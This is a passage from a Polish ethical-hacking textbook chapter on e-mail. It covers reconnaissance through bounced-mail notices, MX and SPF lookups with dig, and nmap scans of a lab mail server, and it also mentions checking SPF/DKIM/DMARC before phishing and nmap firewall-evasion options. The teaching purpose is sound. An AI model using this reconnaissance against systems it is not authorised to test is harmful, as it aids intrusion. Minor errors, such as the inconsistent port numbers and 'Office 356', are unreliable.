ści. Z pewnością wszyscy otrzymywali już wiadomości z informacją, że z jakiegoś powodu nie udało
się dostarczyć e-maila do odbiorcy. Takie „odbite” wiadomości nazywane są też powiadomieniami
o stanie doręczenia (ang. delivery status notification — DSN) i są one przydatne hackerom, ponie-
waż zawierają kawałki informacji dodawane do wiadomości w kolejnych krokach prób doręczenia.
Takie powiadomienia często zawierają różne informacje, które można dość łatwo z nich wydostać.
Jeżeli takie prace znajdują się w zakresie ustalonym z klientem, to wysyłanie do niego nie-
poprawnie zaadresowanych wiadomości e-mail może stać się częścią pierwszych działań i rekone-
sansu wobec tej firmy. Nie jest to działanie pasywne, ponieważ nasze wiadomości (czyli pakiety
z danymi) będą docierały do systemów klienta. W ten sposób można jednak wykryć dodatkowe
adresy IP komputerów powiązanych z badaną siecią, a także uzyskać informacje, które później
mogą być użyteczne przy próbach uzyskania dostępu do sieci. Zazwyczaj każdy system zajmujący się
przesyłaniem poczty dodaje do każdej wiadomości własne „znaczki”, aż do samego systemu MDA,
który nie jest w stanie dostarczyć wiadomości.
Poniżej prezentujemy przykład powiadomienia DSN. W tym przykładzie nadawcą pierwotnej
wiadomości jest adres hacker@hacker.przyklad, natomiast odbiorcą ma być nieistniejący adres
adminadmin@docelowy.przyklad. Powiadomienie DSN odebraliśmy z adresu postmaster@docelowy.
przyklad. Pierwsza część raportu (nie jest tu pokazana) zawiera prosty komunikat zawierający na-
zwę oprogramowania używanego w systemie docelowym — Office 365.
Original Message Headers

Received: from AM5PR06CA0010.eurprd06.prod.outlook.com (2603:10a6:206:2::23)

by VI1PR0602MB3693.eurprd06.prod.outlook.com (2603:10a6:803:16::22)
with
Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.1558.19; Tue, 29 Jan
2019 12:25:04 +0000
Received: from DB5EUR01FT053.eop-EUR01.prod.protection.outlook.com
(2a01:111:f400:7e02::209) by AM5PR06CA0010.outlook.office365.com
(2603:10a6:206:2::23) with Microsoft SMTP Server (version=TLS1_2,
cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384) id 15.20.1580.16 via
Frontend

3681988c430c7fe1e8567c4e2f281f7b
3
162 Rozdział 6  Poczta elektroniczna

Transport; Tue, 29 Jan 2019 12:25:03 +0000

Authentication-Results: spf=pass (sender IP is 66.111.4.25)
smtp.mailfrom=hacker.example; target.example; dkim=pass
(signature was verified)
header.d=hacker.przyklad;target.przyklad; dmarc=pass action=none
header.from=hacker.przyklad;
Received-SPF: Pass (protection.outlook.com: domain of hacker.przyklad
designates
66.111.4.25 as permitted sender) receiver=protection.outlook.com;
client-ip=66.111.4.25; helo=out1-smtp.messagingengine.com;
Received: from out1-smtp.messagingengine.com (66.111.4.25) by
DB5EUR01FT053.mail.protection.outlook.com (10.152.5.159) with Microsoft
SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384)
id
15.20.1580.10 via Frontend Transport; Tue, 29 Jan 2019 12:25:03 +0000
Received: from compute2.internal (compute2.nyi.internal [10.202.2.42])
by mailout.nyi.internal (Postfix) with ESMTP id 823F721563
for <adminadmin@target.example>; Tue, 29 Jan 2019 07:25:02 -0500 (EST)
Received: from mailfrontend1 ([10.202.2.162])
by compute2.internal (MEProxy); Tue, 29 Jan 2019 07:25:02 -0500
Received: from [10.0.1.18] (82-132-246-223.dab.02.net [82.132.246.223])
by mail.messagingengine.com (Postfix) with ESMTPA id B1AE8E41F3
for <adminadmin@target.example>; Tue, 29 Jan 2019 07:25:01 -0500 (EST)
To: adminadmin@docelowy.przyklad
From: Hacker <hacker@hacker.przyklad>
Subject: test
Message-ID: <be68d0c9-4ab4-0bd0-1a25-a8b79babe012@hacker.przyklad>
Date: Tue, 29 Jan 2019 12:24:47 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Thunderbird/60.4.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
Return-Path: hacker@hacker.example
Reporting-MTA: dns;VI2MB961.eurprd06.prod.outlook.com
Received-From-MTA: dns;out1-smtp.messagingengine.com
Arrival-Date: Tue, 29 Jan 2019 12:25:04 +0000

Original-Recipient: rfc822;adminadmin@target.example
Final-Recipient: rfc822;adminadmin@target.example
Action: failed
Status: 5.1.10
Diagnostic-Code: smtp;550 5.1.10 RESOLVER.ADR.RecipientNotFound;
Recipient adminadmin@target.example not found by SMTP address lookup

test.eml
Subject:
test
From:
Hacker <hacker@hacker.przyklad>
Date:
29/01/2019, 12:24
To:
adminadmin@docelowy.przyklad

test
Failed email source

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMTP 163

Jak widać w tej wiadomości, docelowy system korzysta z oprogramowania pocztowego firmy
Microsoft. Zwróć uwagę na wyróżniony tekst „Microsoft SMTP Server” oraz na nazwy hostów
z domeny outlook.com. Pierwotna wiadomość zawierała informacje na temat pakietu Office 365,
dzięki czemu złośliwy haker mógłby odwiedzić stronę outlook.com i próbować zgadywać hasła
użytkowników za pomocą przeglądarkowego interfejsu pakietu Office 365. To może już wykraczać
poza zakres prac uzgodnionych z klientem, ponieważ te serwery pocztowe nie są już własnością
klienta. W tabeli 6.1 prezentujemy listę hostów w bardziej czytelnym formacie. W treści powiado-
mień DSN tego typu zestawienia pojawiają się całkiem często.

Tabela 6.1. Informacje z powiadomienia DSN

ADRES
ADRES DOCELOWY OPROGRAMOWANIE
ŹRÓDŁOWY
1 [10.0.2.15] mail.messagingengine.com ESMTPA
2 mailfrontend1 compute2.internal
3 compute2.internal mailout.nyi.internal ESMTP
4 out1-smtp. DB5EUR01FT053.mail. Microsoft SMTP Server (version=TLS1_2,
messagingengine. protection.outlook.com cipher=TLS_ECDHE_RSA_WITH_AES_256_
com CBC_SHA384)
5 DB5EUR01FT053. AM5PR06CA0010.outlook. Microsoft SMTP Server (version=TLS1_2,
eop-EUR01.prod. office365.com cipher=TLS_ECDHE_RSA_WITH_AES_256_
protection. CBC_SHA384)
outlook.com
6 AM5PR06CA0010. VI1PR0602MB3693. Microsoft SMTP Server (version=TLS1_2,
eurprd06. eurprd06.prod.outlook.com cipher=TLS_ECDHE_RSA_WITH_AES_256_
prod.outlook.com GCM_SHA384)

Pamiętaj, że tym razem nie chodzi o zbieranie informacji na temat konkretnej osoby, ale o gro-
madzenie adresów IP różnych hostów, jak również innych informacji na temat systemów. Wysy-
łanie wiadomości e-mail zawierających exploity, jak również ataki wykorzystujące inżynierię spo-
łeczną nie będą opisywane w tej książce. Taka działalność nazywana jest powszechnie phishingiem
lub spear phishingiem. Chodzi w niej o to, że atakujący wysyła wiadomości przygotowane w taki
sposób, żeby zmusić odbiorcę do ujawnienia dodatkowych informacji albo do pobrania złośliwego
oprogramowania. Atakujący, któremu uda się skutecznie przeprowadzić atak phishingowy, musi
doskonale rozumieć podstawowe zasady działania systemu pocztowego. To właśnie nimi zajmiemy
się w tej książce.

Protokół SMTP
Z poczty elektronicznej możemy korzystać już od dłuższego czasu. Ta usługa istnieje dłużej niż sieć
WWW, a nawet sam internet. Zanim przyjrzymy się dokładniej typowemu serwerowi pocztowemu
(i go zhakujemy), najpierw zbadamy protokoły oraz inne technologie umożliwiające działanie
poczty elektronicznej. Na początek zajmiemy się protokołem Simple Mail Transfer Protocol.

3681988c430c7fe1e8567c4e2f281f7b
3
164 Rozdział 6  Poczta elektroniczna

SMTP został zdefiniowany w dokumencie RFC 821, który powstał w sierpniu 1982 roku. Mimo że
nie jest to pierwszy dokument omawiający protokół pocztowy, to jednak od niego należy zacząć
lekturę, jeżeli chcemy w pełni poznać historię e-maili.
Przejdźmy teraz do podstaw. Jak można sobie wyobrazić, wszystko, co zostało zdefiniowane na
początku lat 80. XX wieku, a co używane jest do dzisiaj, z czasem musiało nagromadzić całą górę
różnych dodatków. Poszczególne dodatki do protokołu pocztowego znajdują się w wielu doku-
mentach RFC, ale jeżeli nie chcesz analizować historii rozwoju tego protokołu, to najlepiej od razu
zajrzyj do dokumentu RFC 5321.
Niezależnie od tego, czy korzystasz z Microsoft Exchange, Office 356, Fastmail, Gmail, czy do-
wolnego innego dostawcy usług pocztowych, każdy z nich używa protokołu SMTP do wymiany
wiadomości pomiędzy agentami MUA i MTA. Takie organizacje jak Microsoft mogą wewnętrznie
korzystać z innych, własnościowych protokołów, ale podczas komunikacji ze światem zewnętrz-
nym są zmuszone do użycia protokołu SMTP. Z punktu widzenia modelu OSI (Open Systems In-
terconnections) SMPT jest protokołem warstwy prezentacji. Możesz zatem użyć programu Wires-
hark, podobnie jak w poprzednim rozdziale, gdzie analizowaliśmy pakiety DNS, aby tym razem
przyjrzeć się zawartości pakietów składających się na wiadomości pocztowe. SMTP — inaczej niż
DNS działający na bazie protokołu UDP — korzysta z protokołu TCP, co pozwala na uzyskanie
wyższej niezawodności. Jeżeli zapytanie DNS zostanie zgubione, to nic wielkiego się nie dzieje, po-
nieważ można je wysłać jeszcze raz. Większość użytkowników wolałaby jednak, żeby przesłana zo-
stała cała ich wiadomość, a nie tylko jej część (a przynajmniej chcieliby mieć możliwość ponownego
kliknięcia przycisku Wyślij, jeżeli pojawiłyby się jakieś problemy z siecią). Nie przejmuj się, jeżeli
nie znasz jeszcze modelu OSI. Będziemy do niego wracać w kolejnych rozdziałach tej książki. Warto
jednak zajrzeć na stronę Wikipedii opisującą ten model (https://pl.wikipedia.org/wiki/Model_OSI).
Niektórzy czytelnicy mogą mieć więcej doświadczeń z zestawem protokołów internetowych, często
opisywanych skrótem TCP/IP. Sam model OSI jest modelem koncepcyjnym, szeregującym proto-
koły umożliwiające komunikację w wielu różnych mediach (nie tylko w internecie).
Serwisy DNS, o których mówiliśmy w poprzednim rozdziale, pozwalają nam zlokalizować rów-
nież serwer pocztowy. Możemy zatem zażądać podania rekordu MX, który wskazuje lokalizację
serwera pocztowego odpowiedzialnego za obsługę wybranej domeny. Taki serwer na pewno będzie
udostępniał usługę SMTP, co oznacza, że będzie obsługiwał protokół Simple Mail Transfer Proto-
col. Oficjalnie usługa SMTP korzysta z dwóch portów TCP: 25 i 587. Post 25 nie pozwala na szy-
frowanie danych, natomiast port 578 jest używany do przesyłania zaszyfrowanych wiadomości.
Szczegółami szyfrowania wiadomości zajmiemy się w dalszej części tego rozdziału.
Rekordy MX uzyskane za pomocą odpowiednich zapytań DNS zawierają też informację o prio-
rytecie. Są to liczby określające kolejność, w jakiej wykonywane są próby połączenia. Najpierw na-
leży próbować połączyć się z hostem o najniższej wartości priorytetu. Jeżeli takie połączenie się nie
powiedzie, należy spróbować połączenia z następnym serwerem. Pamiętaj, że im niższa wartość,
tym wyższy priorytet serwera. Jeżeli domena ma w swojej konfiguracji tylko jeden rekord MX, to
należy sprawdzić, czy nie używa specjalizowanego adresu. Może zatem istnieć osobny rekord DNS,
taki jak mail.firma.pl, z którym może być powiązanych kilka adresów IP. Jeżeli jednak mamy tylko
jedną domenę oraz pojedynczy adres IP przeznaczony do obsługi poczty, to możemy mówić o po-
jedynczym punkcie awarii. Koncepcja pojedynczego punktu awarii (ang. single point of failure) do-
tyczy celu, który może zostać zaatakowany na przykład atakiem typu DoS przez osobę próbującą
dokonać wymuszenia. Dlatego tak ważne jest, żeby obsługą poczty zajmowało się kilka serwerów,

3681988c430c7fe1e8567c4e2f281f7b
3
Sender Policy Framework 165

ponieważ w przypadku awarii lub blokady jednego z nich wiadomości pocztowe będą nadal
dostarczane do systemów firmowych. Najlepszą praktyką i najczęściej stosowaną w konfiguracji
rekordów MX jest włączenie przynajmniej dwóch niezależnych komputerów odpowiedzialnych
za obsługę poczty, aby zmniejszyć szanse powodzenia ataków DoS, a także poprawić stabilność
i jakość dostarczania wiadomości pocztowych.
Aby wyszukać serwery pocztowe dla domeny fastmail.com, wystarczy użyć polecenia dig mx
fastmail.com, które powinno zwrócić wyniki podobne do poniższych. (Pamiętaj o tym, że program
Dig wypisuje domeny razem z ich ostatnią kropką).
; <<>> DiG 9.10.3-P4-Debian <<>> mx fastmail.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24524
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;fastmail.com. IN MX

;; ANSWER SECTION:
fastmail.com. 2975 IN MX 10 in1-smtp.messagingengine.com.
fastmail.com. 2975 IN MX 20 in2-smtp.messagingengine.com.

;; Query time: 66 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Jan 29 09:57:04 GMT 2019
;; MSG SIZE rcvd: 107

Widać tutaj, że poprawne nazwy serwerów in1-smtp.messagingengine.com i in2-smtp.messaging

´engine.com (oba zostały wyróżnione w powyższym wydruku) są jednocześnie nazwami hostów
dwóch serwerów odpowiedzialnych za odbieranie wiadomości pocztowych dla domeny fastmail.com
za pośrednictwem protokołu SMTP. Oczywiście można teraz wykonać kolejny krok i wysłać zapy-
tania DNS o dane tych dwóch hostów. W ten sposób uzyskasz wiele adresów IP przypisanych do
każdego serwera.

Sender Policy Framework

Sender Policy Framework (SPF) jest mechanizmem, który ma uniemożliwiać fałszowanie adresów
e-mail w wiadomościach pocztowych, z czego często próbują korzystać spamerzy. Ta metoda uwie-
rzytelniania stosuje informacje zapisane w rekordzie zasobów DNS, które widzieliśmy już w po-
przednim rozdziale, analizując fikcyjny serwer mail1.nsa.gov. Aby zażądać od wirtualnego serwera
podania rekordu SPF, można użyć poniższego wywołania programu dig (jeżeli wcześniej użyto
exploitów opisywanych w poprzednim rozdziale, to dobrze będzie najpierw ponownie uruchomić
serwer pocztowy):
dig @192.168.48.101 mail1.nsa.gov txt

3681988c430c7fe1e8567c4e2f281f7b
3
166 Rozdział 6  Poczta elektroniczna

To polecenie odczytuje rekord TXT związany z serwerem mail1.nsa.gov, podając jego adres IP
192.168.48.101. Odpowiedź na takie zapytanie powinna wyglądać tak jak poniżej:
; <<>> DiG 9.11.5-1-Debian <<>> @192.168.48.101 mail1.nsa.gov txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43709
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;mail1.nsa.gov. IN TXT

;; ANSWER SECTION:
mail1.nsa.gov. 3600 IN TXT "v=spf1 a mx ip4:10.1.0.25 ~all"

;; AUTHORITY SECTION:
nsa.gov. 3600 IN NS ns2.nsa.gov.
nsa.gov. 3600 IN NS ns1.nsa.gov.

;; ADDITIONAL SECTION:
ns1.nsa.gov. 3600 IN A 10.1.0.50
ns2.nsa.gov. 3600 IN A 10.1.0.51

;; Query time: 4 msec

;; SERVER: 192.168.48.101#53(192.168.48.101)
;; WHEN: Tue Jan 29 10:40:10 GMT 2019
;; MSG SIZE rcvd: 153

SPF wykorzystuje rekordy zasobów, aby wymieniać hosty upoważnione do wysyłania wiado-
mości pocztowych z określonej domeny. Przyjrzyjmy się teraz zawartości tego rekordu:
"v=spf1 a mx ip4:10.1.0.25 ~all"

W tym rekordzie podawana jest wersja SPF oraz wszystkie hosty upoważnione do podawania
adresów z domeny nsa.gov jako adresów źródłowych wiadomości (tutaj również stosowana jest
składnia DNS). Agent MTA może zatem wysłać zapytanie DNS, aby skontrolować adres nadawcy
przed przyjęciem od niego wiadomości. W podanym wcześniej przykładzie z nagłówkami wiado-
mości e-mail można było zauważyć następujący zapis:
Received-SPF: pass (google.com: domain of nadawca@przyklad.pl designates
64.147.123.25 as permitted sender) client-ip=64.147.123.25;

W tym przypadku serwer odbierający (google.com) sprawdził, czy dany adres IP (64.147.123.25)
jest upoważniony do wysyłania wiadomości dla adresu nadawca@przyklad.pl. W tym celu odczytał
zawartość rekordu SPF.
SPF jest dodatkowym zabezpieczeniem realizowanym po stronie odbiorcy podczas dostarcza-
nia wiadomości z hosta danej domeny. Wiele usług pocztowych jest jednak skonfigurowanych tak,
żeby nie kontrolować rekordu SPF, przez co fałszywe lub phishingowe e-maile mogą być nadal
wysyłane z domen, dla których włączono rekord SPF. Istnieją też dodatkowe technologie korzystające
z infrastruktury klucza publicznego (PKI), które uniemożliwiają przeprowadzanie ataków phishin-
gowych poprzez wprowadzenie uwierzytelniania wiadomości pochodzących z docelowej domeny.
Chodzi tu o takie technologie jak DKIM (Domain Keys Identified Mail) i DMARC (Domain-based
Message Authentication, Reporting, and Conformance). Jeżeli w przyszłości chcesz przeprowadzić

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie serwera pocztowego 167

atak phishingowy lub fałszować wiadomości z danej domeny, to musisz sprawdzić, czy korzy-
sta ona z zabezpieczeń SPF, DKIM i DMARC. Można to zrobić, wysyłając zapytania DNS o rekordy
zasobów i odczytując ustawienia serwera pocztowego. Firmy, które korzystają z tych technologii,
zmniejszają ilość otrzymywanego spamu i złośliwego oprogramowania. Niestety te technologie wy-
magają odpowiedniej konfiguracji po stronie odbiorcy i nadawcy, przez co często pojawiają się luki
w zabezpieczeniach.
Za chwilę będziemy mieli okazję skorzystać z protokołu SMTP z perspektywy agenta MTU.
Zanim jednak przejdziemy do tych prac, przeskanujmy serwer pocztowy, aby sprawdzić, czy
w ogóle działa na nim serwis SMTP.

Skanowanie serwera pocztowego

Teraz zaprezentujemy metodę wykonywania badania serwera pocztowego, w którym będziemy
koncentrować się na wyszukiwaniu otwartych usług sieciowych oraz innego oprogramowania pod-
łączonego do sieci. W tym miejscu zakładamy, że już wcześniej wyszukaliśmy serwer pocztowy za
pomocą pobierania rekordów DNS, które zostało autoryzowane przez klienta.
W poprzednim rozdziale zaprezentowaliśmy prosty przykład użycia programu Nmap do ska-
nowania portów hosta. W tym rozdziale przejdziemy do bardziej złożonego skanowania interesu-
jącego nas systemu, choć tu również zaczniemy od najprostszego skanu. Upewnij się, że maszyna
wirtualna z serwerem pocztowym działa poprawnie, i jeszcze raz skontroluj jej adres IP. (Jeżeli nie
wiesz, jak to zrobić, zajrzyj jeszcze raz do rozdziału 3. „Przygotowanie narzędzi do hakowania”).
Zakładamy, że maszyna wirtualna z systemem Kali Linux również działa poprawnie. W takim razie
otwórz okno terminala i wpisz w nim poniższe polecenie uruchamiające skanowanie serwera pocz-
towego w drugiej maszynie wirtualnej. W tym poleceniu zakładamy, że docelowy serwer znajduje
się pod adresem 192.168.48.102, ale w Twoim systemie adres może być nieco inny:
nmap 192.168.48.102

Wyniki takiego skanowania nie powinny różnić się od tych widocznych poniżej:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 12:58 GMT
Nmap scan report for 192.168.48.102
Host is up (0.000086s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
9/tcp open discard
21/tcp open ftp
25/tcp open smtp
37/tcp open time
79/tcp open finger
80/tcp open http
110/tcp open pop3
113/tcp open ident
143/tcp open imap
443/tcp open https
993/tcp open imaps
995/tcp open pop3s
MAC Address: 08:00:27:08:CC:B8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds

3681988c430c7fe1e8567c4e2f281f7b
3
168 Rozdział 6  Poczta elektroniczna

Jak widać, na serwerze pocztowym otwartych jest wiele różnych portów, zupełnie inaczej niż
w przypadku serwera nazw. Otwarte porty powiązane są z kilkoma serwisami, często używanymi
przy obsłudze poczty elektronicznej. Należą do nich IMAP, POP3 i SMTP. Można powiedzieć, że
to typowa konfiguracja serwera pocztowego. Należy jednak zaznaczyć, że w rekordach MX raczej
nie znajdziemy danych serwerów pocztowych o aż tak rozbudowanych usługach. W wielu przy-
padkach do obsługi poczty otwierany jest jedynie jeden port. Próby efektywnego skanowania ser-
werów przez internet mogą być też ograniczane przez różne zapory sieciowe.

Należy oczekiwać, że infrastruktura klienta będzie chroniona zaporą sieciową (a w niektórych

przypadkach nawet kilkoma zaporami). Istniejące zapory drastycznie spowalniają proces skano-
wania i mogą negatywnie wpływać na dokładność uzyskiwanych wyników. Nmap może nie być
w stanie określić, czy dany port jest otwarty, czy zamknięty ani czy pod danym portem działa
jakakolwiek usługa.
Czasami klienci mogą dla nas wyłączyć swoją zaporę (oczywiście tylko dla wybranego adresu IP),
dlatego warto o to poprosić, ponieważ dzięki temu znacznie szybciej uzyskamy dokładniejsze
wyniki skanowania, co pozwoli na szybsze wykonanie zaplanowanych prac. Niektórzy klienci mogą
nie rozumieć, dlaczego mieliby wprowadzać dla nas wyjątki w swoich zaporach sieciowych. Inni
mogą wzbraniać się przed tym, ponieważ to obniża poziom bezpieczeństwa firmowej sieci.
To całkowicie zrozumiałe i takie decyzje należy zaakceptować.
Efektywne planowanie sprawia, że często można uruchomić kilka równoczesnych skanów
i pozwolić im pracować, podczas gdy sami możemy zająć się innymi aspektami infrastruktury
sieciowej klienta. Zwiększenie swojego doświadczenia w zakresie prowadzenia ataków siecio-
wych sprawi, że będziemy umieli lepiej unikać istniejących zapór sieciowych. W podręczniku dla
programu Nmap znajdziesz sekcję zatytułowaną „Firewall/IDS Evasion and Spoofing”, która
prezentuje kilka metod omijania starszych wersji zapór sieciowych. Nowoczesne zapory bardzo
utrudniają próby skanowania systemów znajdujących się za nimi, a wiele zaleceń znajdujących
się w podręczniku programu Nmap ma dzisiaj tylko ograniczone zastosowanie. Mimo to czasami
ustalenie portu źródłowego na port serwisów DNS (numer 53) albo stosowanie nietypowych
znaczników TCP pozwala na ujawnienie większej ilości informacji, niż zakładał plan testu pene-
tracyjnego. Unikanie zapór sieciowych oraz ich testowanie powinno się realizować z wykorzy-
staniem narzędzi do generowania surowych pakietów sieciowych, takich jak Scapy lub Hping3.
W ten sposób można ustalić, które zmiany w protokołach sieciowych umożliwiają obejście filtra.

Skoro mamy już te podstawowe informacje, możemy przystąpić do łączenia się z wybranymi
serwisami lub portami, aby uzyskać więcej informacji. Najpierw jednak należy uruchomić drugą
rundę skanowania programem Nmap, w którym powinny zostać użyte poniższe opcje:
nmap -sT -A -vv -n -Pn 192.168.48.102 -p- -oN mailserver_wyniki.txt

Podane wyżej polecenie Nmap składa się z kilku opcji określających, w jaki sposób program ma
wykonywać skanowanie. Sprawdźmy teraz, co oznaczają poszczególne opcje.
Aby skutecznie korzystać z każdego narzędzia, dobrze jest najpierw zapoznać się z jego doku-
mentacją (na przykład ze stroną man). Nmap jest jednym z najlepiej udokumentowanych narzędzi.
W podanym wyżej poleceniu opcja -sT nakazuje programowi połączyć się ze wskazanym portem,
używając do tego pełnego, trójstopniowego nawiązywania połączenia TCP. Oznacza to, że program
będzie próbował ustanowić pełne połączenie TCP z każdym wskazanym portem, tak jak robią to
właściwe aplikacje klienckie.

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie serwera pocztowego 169

Domyślnie Nmap nie stara się nawiązywać pełnego połączenia, a jedynie ogranicza się do wy-
słania pojedynczego pakietu oznaczającego rozpoczęcie nawiązywania połączenia TCP. Opcja -A
nakazuje programowi wykonywanie pewnych dodatkowych zadań, takich jak wykrywanie systemu
operacyjnego, jego wersji, skanowanie za pomocą skryptu (używany jest do tego język skryptowy
NSE (Nmap Scripting Engine), o którym będziemy mówić w dalszej części rozdziału) oraz wyzna-
czanie ścieżki (ang. traceroute). Opcję -A można traktować jako tryb działań agresywnych lub zaa-
wansowanych, ponieważ wymienione tu zadania dodatkowe mogą łatwo wywołać alarmy w systemach
monitorujących sieć. W podręczniku programu Nmap można przeczytać: „Podczas skanowania
sieci nie należy używać opcji -A bez uprzedniego uzyskania pozwolenia jej właściciela”.

Traceroute to narzędzie, które w systemach uniksowych można uruchomić

poleceniem traceroute. Pozwala ono na wyświetlenie ścieżki do zdalnego hosta, ale też
umożliwia określenie, jakiego czasu potrzebują pakiety, aby osiągnąć poszczególne węzły
na drodze do tego hosta (i wrócić).
Opcja -vv ustala poziom „gadatliwości” programu. Jest to opcja bardzo często dostępna w róż-
nych programach działających w wierszu poleceń. Umożliwia ona ustalenie ilości informacji wy-
świetlanych przez program uruchomiony przez użytkownika. Na początku prac zaleca się ustalenie
wysokiej wartości tej opcji, ponieważ to pozwala na lepsze zrozumienie działań realizowanych
przez uruchomione narzędzie. Poziom tej opcji można podnosić i zmniejszać za pomocą parame-
trów od -v do -vvv albo poprzez naciskanie klawiszy v i V w trakcie wykonywania skanu (na po-
dobnej zasadzie klawisze d i D umożliwiają regulowanie poziomu komunikatów debugowania).
W ten sposób można ustalić ilość informacji wyświetlanych na ekranie.
Opcja -n wyłącza możliwość używania systemu DNS. Oznacza to, że nie zostanie wykonane
odwrotne wyszukiwanie DNS, aby ustalić nazwę hosta dla adresu IP 192.168.48.102. To przyspie-
szy nieco proces skanowania, ponieważ program będzie mógł wysłać mniej pakietów i nie będzie
zmuszony do czekania na odpowiedź serwera DNS lub przedawnienie zapytania. Opcja -Pn wyłą-
cza stosowanie pakietów ping. Domyślnie Nmap wysyła do docelowego hosta kilka pakietów ping,
stosując różne typy tych pakietów. Jeżeli jednak z góry wiemy, że nasz cel działa i jest dostępny,
to nie ma potrzeby używania tych pakietów, a zatem można pominąć ten krok i nieco przyspieszyć
cały proces. Poza tym część systemów w ogóle nie reaguje na zapytania ping, co może dawać błędne
wrażenie, że serwer nie działa lub nie istnieje, mimo że będzie on odpowiadał na żądania przesyłane
na inne porty.
Za adresem IP skanowanego hosta pojawia się opcja -p nakazująca skanowanie wszystkich portów.
(Tę opcję można zastosować w dowolnym miejscu, nie musi znajdować się zaraz za adresem IP
hosta). Domyślnie Nmap skanuje wyłącznie najczęściej używane porty. Jak widzieliśmy przy okazji
pierwszego skanowania hosta, potrafi ujawnić w ten sposób jedynie najpowszechniejsze usługi. Ale
co zrobić, gdy jakaś usługa nasłuchuje na porcie o znacznie wyższym numerze? Wybrany numer
portu można podać za pomocą opcji -p uzupełnionej o numer portu, na przykład -p 25. Dokładnie
tak postąpiliśmy w poprzednim rozdziale, gdy skanowaliśmy wyłącznie port UDP o numerze 53,
ponieważ nie chcieliśmy tracić czasu na prowadzenie skanów nieinteresujących nas portów.

3681988c430c7fe1e8567c4e2f281f7b
3
170 Rozdział 6  Poczta elektroniczna

W tym momencie skanujemy wszystkie porty, ponieważ nie chcemy przeoczyć żadnego otwar-
tego portu TCP. Nigdy nie wiadomo, jakie usługi mogą nasłuchiwać na portach o wyższych nume-
rach, a czasami można w ten sposób znaleźć tylną furtkę pozostawioną przez kogoś w systemie.
Co więcej, z tego samego powodu zaleca się też przeprowadzenie skanowania wszystkich portów UDP,
mimo że ta operacja zajmuje naprawdę dużo czasu. Na razie skupimy się jednak na samych portach
TCP, ponieważ pełne skanowanie wszystkich portów UDP może trwać całymi dniami, a nawet tygo-
dniami, co jest uzależnione od opóźnień w sieci i konfiguracji istniejących zapór sieciowych.
Na końcu widzimy jeszcze opcję -oN, która umożliwia wypisanie wyników skanowania do pliku
tekstowego, który w tym przypadku ma nazwę mailserver_wyniki.txt. Oczywiście możesz tutaj użyć
dowolnie wybranej przez siebie nazwy pliku.
Z pewnością zauważysz, że to bardziej rozbudowane skanowanie zajmuje o wiele więcej czasu,
co pozwala nam przyjrzeć się usługom znalezionym w pierwszym skanowaniu. Ostatecznie otrzy-
mamy też wyniki zakończonego skanowania. Tym razem będziemy mieli sporo informacji do prze-
analizowania. Pamiętaj też, że Nmap będzie wypisywać różne informacje w trakcie swojej pracy:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 13:43 GMT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:43
Completed NSE at 13:43, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:43
Completed NSE at 13:43, 0.00s elapsed
Initiating ARP Ping Scan at 13:43
Scanning 192.168.48.102 [1 port]
Completed ARP Ping Scan at 13:43, 0.04s elapsed (1 total hosts)
Initiating Connect Scan at 13:43
Scanning 192.168.48.102 [65535 ports]
Discovered open port 21/tcp on 192.168.48.102
Discovered open port 143/tcp on 192.168.48.102
Discovered open port 80/tcp on 192.168.48.102
Discovered open port 25/tcp on 192.168.48.102
Discovered open port 993/tcp on 192.168.48.102
Discovered open port 443/tcp on 192.168.48.102
Discovered open port 110/tcp on 192.168.48.102
Discovered open port 995/tcp on 192.168.48.102
Discovered open port 113/tcp on 192.168.48.102
Discovered open port 9/tcp on 192.168.48.102
Discovered open port 4190/tcp on 192.168.48.102
Discovered open port 79/tcp on 192.168.48.102
Discovered open port 37/tcp on 192.168.48.102
Completed Connect Scan at 13:43, 4.27s elapsed (65535 total ports)
Initiating Service scan at 13:43
Scanning 13 services on 192.168.48.102
Completed Service scan at 13:46, 151.35s elapsed (13 services on 1 host)
Initiating OS detection (try #1) against 192.168.48.102
NSE: Script scanning 192.168.48.102.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:46
Completed NSE at 13:46, 12.39s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:46
Completed NSE at 13:46, 1.05s elapsed

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie serwera pocztowego 171

Wyniki pełnego skanowania programem Nmap (TCP)

Po zakończeniu pracy program Nmal wygeneruje pełen raport wykonanych działań i umieści go
w pliku tekstowym wskazanym w opcji -oN. Poniższy wydruk jest lekko zmienionym raportem,
jakiego można oczekiwać w tym miejscu. Usunęliśmy z niego wiersze dotyczące certyfikatów SSL,
ponieważ nie są one nam tutaj potrzebne. W dalszych częściach tego rozdziału będziemy korzystać
